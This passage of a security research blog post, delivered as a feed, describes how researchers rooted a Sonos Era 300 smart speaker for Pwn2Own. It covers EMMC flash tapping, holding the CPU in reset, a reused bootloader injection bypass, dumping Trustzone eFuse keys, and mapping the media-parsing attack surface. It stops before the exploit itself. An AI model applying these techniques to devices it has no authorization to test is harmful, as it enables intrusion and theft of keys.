<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.8.5">Jekyll</generator><link href="https://blog.ret2.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.ret2.io/" rel="alternate" type="text/html" /><updated>2025-06-12T13:03:48+00:00</updated><id>https://blog.ret2.io/feed.xml</id><title type="html">RET2 Systems Blog</title><subtitle>The RET2 Engineering Blog documents some of the research and technical musings of our engineers in the subjects of computer security, vulnerability research, program analysis, and more.</subtitle><entry><title type="html">Streaming Zero-Fi Shells to Your Smart Speaker</title><link href="https://blog.ret2.io/2025/06/11/pwn2own-soho-2024-sonos-exploit/" rel="alternate" type="text/html" title="Streaming Zero-Fi Shells to Your Smart Speaker" /><published>2025-06-11T10:00:00+00:00</published><updated>2025-06-11T10:00:00+00:00</updated><id>https://blog.ret2.io/2025/06/11/pwn2own-soho-2024-sonos-exploit</id><content type="html" xml:base="https://blog.ret2.io/2025/06/11/pwn2own-soho-2024-sonos-exploit/">&lt;p&gt;In October 2024, RET2 participated in the “Small Office / Home Office” (SOHO) flavor of &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2024/7/16/announcing-pwn2own-ireland-2024&quot;&gt;Pwn2Own&lt;/a&gt;, a competition which challenges top security researchers to compromise consumer-focused network devices. This includes popular smart speakers, routers, IP cameras, printers, and network-attached storage (NAS) devices.&lt;/p&gt;

&lt;p&gt;One of the two devices we targeted this year was the &lt;a href=&quot;https://www.sonos.com/en-us/shop/era-300&quot;&gt;Sonos Era 300&lt;/a&gt;, a high-end smart speaker which retails for around $500 USD. The Sonos layers several security technologies to establish a chain of trust rooted in hardware, protect device specific secrets (ARM Trustzone, eFuses), and harden its primary runtime service against active exploitation. For a category of devices historically derided as “&lt;a href=&quot;https://web.archive.org/web/20141010194433/https://lists.immunityinc.com/pipermail/dailydave/2014-September/000746.html&quot;&gt;junk hacking&lt;/a&gt;,” things have certainly changed.&lt;/p&gt;

&lt;p&gt;In this post, we’ll touch on how past research was adapted to obtain a foothold on the device, providing us the necessary introspection to discover and exploit a powerful &lt;a href=&quot;https://wargames.ret2.systems/&quot;&gt;memory corruption&lt;/a&gt; vulnerability (&lt;a href=&quot;https://www.sonos.com/en-us/security-advisory-2024-0002&quot;&gt;CVE-2025-1050&lt;/a&gt;) in remotely accessible, unauthenticated attack surface, netting our exploit $60,000 USD from the competition.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_title_card.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_title_card.jpg&quot; data-title=&quot;Jack Dates (far-right) of RET2 Systems attacking a Sonos Era 300 with a zero-day exploit at Pwn2Own 2024&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_title_card.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Jack Dates (far-right) of RET2 Systems attacking a Sonos Era 300 with a zero-day exploit at Pwn2Own 2024&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;device-reconnaissance&quot;&gt;Device Reconnaissance&lt;/h2&gt;

&lt;p&gt;Going into any Pwn2Own, we weigh several factors deciding which devices we want to attack. This can range from how personally interesting the device seems to us, the prize money assigned to it, how many other competitors we think will poke at it, and how much time we expect the research to take.&lt;/p&gt;

&lt;p&gt;We picked the Sonos smart speaker primarily because there was some amount of recent public research against the product family that seemed like useful context for getting started. While there wasn’t any explicit research against the Sonos Era 300, we purchased it assuming there could be new functionality worth probing for vulnerabilities.&lt;/p&gt;

&lt;p&gt;Previous Pwn2Own Sonos entries were also memory-corruption vulnerabilities, meaning remote attack surface involved native code, which aligned with our skills and experience.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_smart_speakers_zdi.jpg&quot; data-lightbox=&quot;pwn2own_soho24_smart_speakers_zdi.jpg&quot; data-title=&quot;The list of smart speaker devices from ZDI and their respective prizes for Pwn2Own 2024&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_smart_speakers_zdi.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The list of smart speaker devices from ZDI and their respective prizes for Pwn2Own 2024&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;We made careful note of the following works and reviewed them while waiting for our device to arrive:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nccgroup.com/us/research-blog/shooting-yourself-in-the-flags-jailbreaking-the-sonos-era-100/&quot;&gt;Shooting Yourself in the .flags – Jailbreaking the Sonos Era 100&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=uGofhlB1vZU&quot;&gt;A 3-Year Tale of Hacking a Pwn2Own Target&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.synacktiv.com/sites/default/files/2022-11/sonos.pdf&quot;&gt;A Journey To Pwn And Own The Sonos One Speaker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxx.in/posts/dumping-the-amlogic-a113x-bootrom/&quot;&gt;Dumping the Amlogic A113X Bootrom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Wqcbp9wFO7o&quot;&gt;Smart Speaker Shenanigans: Making The SONOS One Sing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zerodayinitiative.com/blog/2023/5/24/exploiting-the-sonos-one-speaker-three-different-ways-a-pwn2own-toronto-highlight&quot;&gt;Exploiting the Sonos One Speaker Three Different Ways: A Pwn2Own Toronto Highlight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While it’s clear that Sonos products have received some real attention from high quality researchers in the past, being able to work off of prior research doesn’t necessarily mean it’s going to be an easy target to take on.&lt;/p&gt;

&lt;p&gt;For example, Synacktiv described how Sonos was sure to enable all major compiler-based mitigations (Cookies, PIE, RELRO) following their 2021 entry, while Orange Tsai &lt;a href=&quot;https://youtu.be/uGofhlB1vZU?t=2318&quot;&gt;speculated&lt;/a&gt; that Sonos was aggressively monitoring and patching crashes produced by researchers in 2022. NCC also &lt;a href=&quot;https://www.nccgroup.com/us/research-blog/shooting-yourself-in-the-flags-jailbreaking-the-sonos-era-100/&quot;&gt;burned&lt;/a&gt; several important bootloader bugs in 2023 which seemed like they would have been really useful for establishing a foothold on the Sonos Era 300.&lt;/p&gt;

&lt;h2 id=&quot;device-teardown&quot;&gt;Device Teardown&lt;/h2&gt;

&lt;p&gt;Tearing down the Sonos Era 300 is a little tricky, but everything we care about is confined to one main logic board. The “PSU” is integrated directly onto the main board rather than being a separate or modular unit which is a little unusual, and makes working with the logic side a bit more precarious with high voltage elements openly exposed on the bench.&lt;/p&gt;

&lt;p&gt;The fit and finish on the unit is so precise that we basically wrote off ever re-assembling the device, too.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_motherboard.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_motherboard.jpg&quot; data-title=&quot;The main Sonos Era 300, logic board + PSU combo&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_motherboard.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;The main Sonos Era 300, logic board + PSU combo&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Removing the shielding, the top side of the board has two real chips of interest: a Mediatek MT7921 (wifi/bluetooth) and an 8GB Kingston EMMC / flash chip. We did not end up conducting any hardware or software research into the Mediatek chipset for Pwn2Own so we will not be discussing it further.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_flash_mtk.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_flash_mtk.jpg&quot; data-title=&quot;A Mediatek MT7921 radio and Kingston EMMC on the top side of the Sonos Era 300 main logic board&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_flash_mtk.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A Mediatek MT7921 radio and Kingston EMMC on the top side of the Sonos Era 300 main logic board&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;On the bottom side of the board, we find the main CPU marked ‘S767e’ and some RAM chips under more shielding.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_cpu.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_cpu.jpg&quot; data-title=&quot;CPU + RAM chips on the bottom of the Sonos Era 300 main logic board&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_cpu.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;CPU + RAM chips on the bottom of the Sonos Era 300 main logic board&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Based on some googling and the work of previous researchers, the CPU appears to be an Amlogic chip, presumably the S905X3 or something pretty close to it. Even if we cannot find the exact chip, having a datasheet within the same family of chips / vendor can provide quite a bit of insight.&lt;/p&gt;

&lt;h2 id=&quot;reading--writing-emmc-flash&quot;&gt;Reading / Writing EMMC Flash&lt;/h2&gt;

&lt;p&gt;The first priority is for us to get a dump of the 8GB EMMC straight from the factory. This is useful for a number of reasons, as it could be an older firmware that may be hard or impossible to find online or elsewhere. It also provides a clean known-good backup in-case we accidentally update the device or brick it.&lt;/p&gt;

&lt;p&gt;To do this, we need to locate some of the signal pins on the board.
We take a few pictures of the PCB and begin overlaying them with ball diagrams from the datasheet (stretched, skewed, and scaled) to fit approximately where the chip footprint should be. This gives us a rough map of where signals may be popping out on the other side of the board.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_ff_small.gif&quot; data-lightbox=&quot;pwn2own_soho24_sonos_ff_small.gif&quot; data-title=&quot;Marking up the top/bottom of the board using photoshop to map out EMMC signals traveling to the CPU&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_ff_small.gif&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Marking up the top/bottom of the board using photoshop to map out EMMC signals traveling to the CPU&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;This often works quite well, with a bit of reasoning on both where traces emerge from the EMMC and how they route into the CPU based on its ball placements we can predict almost all of them before even probing the board.&lt;/p&gt;

&lt;p&gt;While the EMMC chip has all eight data lines routed to the CPU, when “hardware hacking” it is common to wire up only one data line plus the CMD and CLK signals. This is sufficient for communicating with the EMMC chip in 1-bit / SD Mode to read or write its entire contents (albeit, slowly).&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_emmc.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_emmc.jpg&quot; data-title=&quot;30awg enameled copper wire connected to CLK + CMD + DAT0 to allow read/write of the Sonos Era 300 EMMC&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_emmc.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;30awg enameled copper wire connected to CLK + CMD + DAT0 to allow read/write of the Sonos Era 300 EMMC&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;To read or write to the EMMC (dump the flash, re-write it) we must apply power to the board. But to ensure we do not fight with the CPU trying to access the flash or boot from it once we apply power, you often want to try and hold the CPU in reset. This can be achieved by grounding the RESET# pin (active LOW), if you can find it!&lt;/p&gt;

&lt;p&gt;Similar to what we did with the EMMC chip, we overlayed an inverted ball diagram of the CPU on the top side of the board roughly based on vias. This helped us reason about the BGA fanout (routing of traces, placement of vias) from the backside of the board without removing the chip.&lt;/p&gt;

&lt;p&gt;There’s a mix of luck, experience, and context clues at play for this next image, but we were able to identify the RESET# pin as the following without needing to remove the CPU:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_reset.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_reset.jpg&quot; data-title=&quot;30awg enameled copper wire connecting to a scraped via we believe to be the CPU RESET# signal&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_reset.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;30awg enameled copper wire connecting to a scraped via we believe to be the CPU RESET# signal&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;We noticed the RESET# signal on the CPU ball diagram was mostly surrounded by unused GPIO pins. On the bottom side of the PCB in the region directly under that cluster of pins, there is a sole bypass capacitor with a thin trace to a single dedicated via (where the wire is attached in the image above). In fact, if you look closely, it is basically the only capacitor setup like this under the CPU.&lt;/p&gt;

&lt;p&gt;In normal operation, slight disturbances on the RESET# line could cause the system to randomly reset, hence why a small bypass capacitor is common on RESET# lines to help keep the signal free of minor glitches. If RESET# is pulled to ground, it will hold the CPU in reset.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_setup.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_setup.jpg&quot; data-title=&quot;Sonos Era 300 with its UART, EMMC, RESET# signals tapped as our main research device&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_setup.jpg&quot; alt=&quot;&quot; style=&quot;width:90%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Sonos Era 300 with its UART, EMMC, RESET# signals tapped as our main research device&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Anchoring a makeshift “debug” header along the edge of the board, we can route our probed EMMC lines and the RESET# signal to something more robust. This makes it so we don’t have to worry as much about stressing our enameled wire or breaking the tiny points we tapped while handling the board or moving it around the bench.&lt;/p&gt;

&lt;p&gt;From the header, we can easily tie RESET# to ground and hook up the three EMMC signals (DAT0, CLK CMD) to a low voltage (1.8v) SD card reader. This allows us to supply power to the Sonos main board through normal means and read or write to the EMMC freely from Windows or Linux as if it were a standard SD card plugged into a computer.&lt;/p&gt;

&lt;p&gt;After reading/writing the EMMC each time, we unplug the wires running to our SD reader and release the RESET# line from ground to allow the Sonos main board to boot normally again.&lt;/p&gt;

&lt;h2 id=&quot;establishing-a-foothold&quot;&gt;Establishing a Foothold&lt;/h2&gt;

&lt;p&gt;Unsurprisingly, the firmware dump we obtained from the EMMC was almost entirely encrypted. But the brand new Sonos Era 300 we bought in August 2024 had a manufacture date of January 2024, about two months after NCC’s Sonos Era 100 &lt;a href=&quot;https://www.nccgroup.com/us/research-blog/shooting-yourself-in-the-flags-jailbreaking-the-sonos-era-100/&quot;&gt;bootloader bugs&lt;/a&gt; were allegedly patched (November 2023).&lt;/p&gt;

&lt;p&gt;When manufacturing devices, it’s much safer to ship consumers old, well tested and known-good images and force users to update the device as part of the initial at-home setup. As suspected, we were able to not only confirm the applicability of NCC’s research to our Sonos Era 300 bootloader, but also port it over in just a few days.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;...
Both headers OK, bootgens 0 2
uboot: section-1 selected
boot_state 0
## Error: Can't overwrite &quot;bootargs&quot;
## Error inserting &quot;bootargs&quot; variable, errno=1
364 byte kernel signature verified successfully
JTAG disabled
disable_usb: DISABLE_USB_BOOT fuse already set
disable_usb: DISABLE_JTAG fuse already set
disable_usb: DISABLE_M3_JTAG fuse already set
disable_usb: DISABLE_M4_JTAG fuse already set
srk_fuses: not revoking any more SRK keys (0x1)
srk_fuses: locking SRK revocation fuses
Start the watchdog timer before starting the kernel...
get_kernel_config [id = 3, rev = 7] returning 55
## Loading kernel from FIT Image at 00500048 ...
   Using 'conf@56' configuration
   Trying 'kernel@1' kernel subimage
     Description:  Sonos Linux kernel for S767
     Type:         Kernel Image
     Compression:  lz4 compressed
     Data Start:   0x00500130
     Data Size:    8992583 Bytes = 8.6 MiB
     Architecture: AArch64
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;NCC’s research saved us arguably several weeks of research time as the flaw allowed us to semi-blindly break the device’s strong chain of trust, encrypted bootloaders, kernel, and filesystem by combining several clever vulnerabilities to obtain a quick foothold directly into the Linux userspace.&lt;/p&gt;

&lt;p&gt;The issue NCC exploited effectively allows for subtle but unauthorized manipulation of the U-Boot environment, such that we can specify custom U-Boot environment variables that get passed directly to the Linux kernel boot args.&lt;/p&gt;

&lt;p&gt;We can abuse this classic form of boot arg injection to load a small &lt;a href=&quot;https://en.wikipedia.org/wiki/Initial_ramdisk&quot;&gt;initrd&lt;/a&gt; ramfs (ram-based Linux filesystem) we smuggle into the device flash alongside the encrypted kernel, booting the kernel directly into startup executables that we control within the ramfs rather than the normal file system.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_shell.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_shell.jpg&quot; data-title=&quot;Shell as root by way of NCC's secure boot bypass bugs (CVE-2023-50810)&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_shell.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Shell as root by way of NCC's secure boot bypass bugs (CVE-2023-50810)&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;This gives us execution as root over serial to the Linux kernel environment once the system is fully booted. With the shell as root on the system, we’re now free to start poking around their Linux environment, mount the real encrypted filesystem, extract executables of interest, and perform initial on-device research.&lt;/p&gt;

&lt;p&gt;Once again, following NCC’s lead (per their posts’ epilogue) we adapted &lt;a href=&quot;https://x.com/bl4sty&quot;&gt;blasty&lt;/a&gt;’s a113x-el3 &lt;a href=&quot;https://haxx.in/posts/dumping-the-amlogic-a113x-bootrom/&quot;&gt;Trustzone exploit&lt;/a&gt; to dump the EL3 binary and OTP (eFuses) from our device.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_dumping.gif&quot; data-lightbox=&quot;pwn2own_soho24_sonos_dumping.gif&quot; data-title=&quot;Scraping memory and device-specific eFuse secrets out of the EL3 Trustzone runtime&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_dumping.gif&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Scraping memory and device-specific eFuse secrets out of the EL3 Trustzone runtime&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Among other things, this gives us access to device specific keys which are supposed to be held only by the Trustzone. These keys are used to perform encryption/decryption of the firmware, updates, or for media DRM purposes. The Trustzone and its eFuses also specify things such as boot revocation, device-specific capabilities, and more.&lt;/p&gt;

&lt;p&gt;While not strictly necessary, having these keys allows us to decrypt all future Sonos firmware updates using a simple python script on our host systems, without needing Sonos hardware or the Trustzone to serve as an oracle.&lt;/p&gt;

&lt;h2 id=&quot;anacapad-overview&quot;&gt;Anacapad Overview&lt;/h2&gt;

&lt;p&gt;With our foothold established, we could verify with &lt;code class=&quot;highlighter-rouge&quot;&gt;netstat&lt;/code&gt; that the major userspace process is &lt;code class=&quot;highlighter-rouge&quot;&gt;anacapad&lt;/code&gt;, which matches previous research per our ‘recon’ into past vulnerabilities targeting Sonos products.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:1843            0.0.0.0:*               LISTEN      1525/anacapad
tcp        0      0 0.0.0.0:1400            0.0.0.0:*               LISTEN      1525/anacapad
tcp        0      0 0.0.0.0:1410            0.0.0.0:*               LISTEN      1525/anacapad
tcp        0      0 0.0.0.0:1443            0.0.0.0:*               LISTEN      1525/anacapad
tcp        0      0 :::5000                 :::*                    LISTEN      1761/wacd
udp        0      0 0.0.0.0:6992            0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:12300           0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:12301           0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:53              0.0.0.0:*                           1519/netstartd
udp        0      0 0.0.0.0:67              0.0.0.0:*                           1519/netstartd
udp        0      0 10.69.69.1:41062        0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           1522/mdnsd
udp        0      0 10.69.69.1:35538        0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:39640           0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:6966            0.0.0.0:*                           1519/netstartd
udp        0      0 0.0.0.0:6969            0.0.0.0:*                           1519/netstartd
udp        0      0 0.0.0.0:6971            0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:48961           0.0.0.0:*                           1522/mdnsd
udp        0      0 0.0.0.0:6981            0.0.0.0:*                           1525/anacapad
udp        0      0 0.0.0.0:6984            0.0.0.0:*                           1525/anacapad
udp        0      0 :::56479                :::*                                1522/mdnsd
udp        0      0 :::5353                 :::*                                1522/mdnsd
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The service &lt;code class=&quot;highlighter-rouge&quot;&gt;anacapad&lt;/code&gt; (presumably, “analog capabilities daemon”) is a monolithic binary that runs an HTTP server on port 1400, and handles essentially everything from a feature perspective of the Sonos smart speaker product.&lt;/p&gt;

&lt;p&gt;This includes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Multi-speaker configuration&lt;/li&gt;
  &lt;li&gt;Alarm clock notifications&lt;/li&gt;
  &lt;li&gt;Media Handling
    &lt;ul&gt;
      &lt;li&gt;Managing the queue of tracks&lt;/li&gt;
      &lt;li&gt;Interacting with cloud music services&lt;/li&gt;
      &lt;li&gt;Parsing / playing actual music&lt;/li&gt;
      &lt;li&gt;…&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Intended for in-home use, authentication is not a concern, and all of the HTTP endpoints implementing these features can be interacted with freely, without any kind of authentication on the local area network.&lt;/p&gt;

&lt;p&gt;Notably, being the most high-risk to remote attacks, this process is also rather well hardened according to checksec, which will make remote exploitation of media codecs pretty interesting:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_checksec.png&quot; data-lightbox=&quot;pwn2own_soho24_sonos_checksec.png&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_checksec.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;h2 id=&quot;media-parsing&quot;&gt;Media Parsing&lt;/h2&gt;

&lt;p&gt;Being more of a music / audio-oriented smart speaker, the largest feature is naturally playing media, which opens up a lot of attack surface for the various media codecs and streaming protocols it aims to support.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;anacapad&lt;/code&gt; infrastructure breaks up media consumption into two fundamental operations:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Framing&lt;/strong&gt; - parsing the initial media container to arrive at individual audio frames (of encoded audio data)
    &lt;ul&gt;
      &lt;li&gt;e.g. making GET requests to download an mp4 file then parsing it&lt;/li&gt;
      &lt;li&gt;performed by an object inheriting from &lt;code class=&quot;highlighter-rouge&quot;&gt;AudioFramer&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Playing&lt;/strong&gt; - decoding the audio frames into raw sample data (PCM) to be played by the speaker
 &lt;span style=&quot;font-size:150%&quot;&gt;&lt;/span&gt;
    &lt;ul&gt;
      &lt;li&gt;e.g. invoking the FLAC decoder on the encoded frames&lt;/li&gt;
      &lt;li&gt;performed by an object inheriting from &lt;code class=&quot;highlighter-rouge&quot;&gt;AudioPlayer&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These happen in separate threads: &lt;code class=&quot;highlighter-rouge&quot;&gt;chsrc&lt;/code&gt; (channel source) for framing, and &lt;code class=&quot;highlighter-rouge&quot;&gt;chsnk&lt;/code&gt; (channel sink) for playing.&lt;/p&gt;

&lt;p&gt;The music queue is a list of URIs of music to play. When &lt;code class=&quot;highlighter-rouge&quot;&gt;chsrc&lt;/code&gt; pops off a URI from the queue, the following overall process occurs:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;It decides which concrete &lt;code class=&quot;highlighter-rouge&quot;&gt;AudioFramer&lt;/code&gt; to use
    &lt;ul&gt;
      &lt;li&gt;this might involve the URI scheme, file extension, and/or MIME type&lt;/li&gt;
      &lt;li&gt;framer subclasses are obtained from a &lt;code class=&quot;highlighter-rouge&quot;&gt;FramerFactory&lt;/code&gt; object&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;It makes a virtual call &lt;code class=&quot;highlighter-rouge&quot;&gt;framer-&amp;gt;download(...)&lt;/code&gt;
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;This requests the file (or implements a streaming protocol), determines the encoding, and parses out frames
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;Frames are forwarded to &lt;code class=&quot;highlighter-rouge&quot;&gt;notifyFrame&lt;/code&gt;, which is passed the raw buffer / size, and an encoding type enum
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;chsnk&lt;/code&gt; thread receives the frame, and uses the encoding type enum to select the corresponding &lt;code class=&quot;highlighter-rouge&quot;&gt;AudioPlayer&lt;/code&gt;
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;
    &lt;ul&gt;
      &lt;li&gt;player subclasses are obtained from an &lt;code class=&quot;highlighter-rouge&quot;&gt;AudioPlayerFactory&lt;/code&gt; object&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;A virtual call is made to &lt;code class=&quot;highlighter-rouge&quot;&gt;player-&amp;gt;play(...)&lt;/code&gt; with the encoded frame buffer / size
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;The specific decoder is invoked to convert the frame to raw audio samples
 &lt;span style=&quot;font-size:125%&quot;&gt;&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;Sound!! &lt;span style=&quot;font-size:125%&quot;&gt;🎸 🤘&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Since C++ RTTI is maintained in the binary, all class names are available to us. Full lists of the available framers and players are below:&lt;/p&gt;

&lt;table style=&quot;table-layout:fixed; width:100%&quot;&gt;
&lt;tr&gt;
&lt;th&gt;&lt;i&gt;Framers&lt;/i&gt;&lt;/th&gt;
&lt;th&gt;&lt;i&gt;Players&lt;/i&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;pre&gt;
AIFFAudioFramer
BuzzerAudioFramer
FLACAudioFramer
M4AAudioFramer
M4ARadioFramer
SonosADTSAudioFramer
HLSAudioFramer
MP3AudioFramer
MP3RadioFramer
OggVorbisAudioFramer
WAVAudioFramer
WMAAudioFramer
WMARadioFramer
SpotifyAudioFramer
SpotifyOggVorbisAudioFramer
RadioTimeRecentShowAudioFramer
RDASHAudioFramer
&lt;/pre&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;pre&gt;
MP3AudioPlayer
WAVAudioPlayer
WMAAudioPlayer
M4AAudioPlayer
FLACAudioPlayer
OggVorbisAudioPlayer
ALACAudioPlayer
SBCAudioPlayer
HTAudioPlayer
EC3AudioPlayer
OPUSAudioPlayer
NullAudioPlayer
EncryptedAudioPlayer




&lt;/pre&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;Each framer and player represent attack surface we can start researching.&lt;/p&gt;

